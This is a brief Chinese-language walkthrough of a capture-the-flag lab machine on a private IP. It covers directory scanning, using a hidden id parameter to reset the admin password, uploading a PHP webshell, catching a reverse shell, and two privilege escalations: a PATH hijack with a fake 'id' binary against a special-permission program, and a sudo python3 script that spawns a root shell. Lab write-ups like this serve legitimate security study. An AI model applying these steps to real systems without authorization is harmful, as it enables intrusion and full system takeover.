主机扫描,发现ip 192.168.163.134
端口扫描,发现80和22端口
扫描目录
1
2
dirb http://192.168.163.134
nikto -h 192.168.163.134
发现目录:
1
2
3
http://192.168.163.134/config/
http://192.168.163.134/upload/
http://192.168.163.134/login.php
对站点进行指纹识别,无发现,bp爆破用户名密码失败
尝试注册成功
登陆成功后地址为: http://192.168.163.134/dashboard.php?id=2
遍历页面id无效,只有一个页面,可以更改用户名、邮件和密码,sqlmap测试密码时发现隐藏字段id参数,bp遍历id尝试更改其他用户密码。
admin登录成功,可以上传文件
上传一句话木马,经测试可以上传 shell.phtml
蚁剑连接,反弹shell
反弹成功,查看数据库未发现有效信息
查看john家目录,发现特殊权限的 toto
toto疑似使用 id
命令,更改环境变量修改为我们自定义的 id
命令
1
2
3
4
echo '/bin/bash' > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto
提权成功,获取到密码
获取到flag
root提权
1
2
echo 'import os;os.system("/bin/bash")' > file.py
sudo /usr/bin/python3 /home/john/file.py
root提权成功,查看最终flag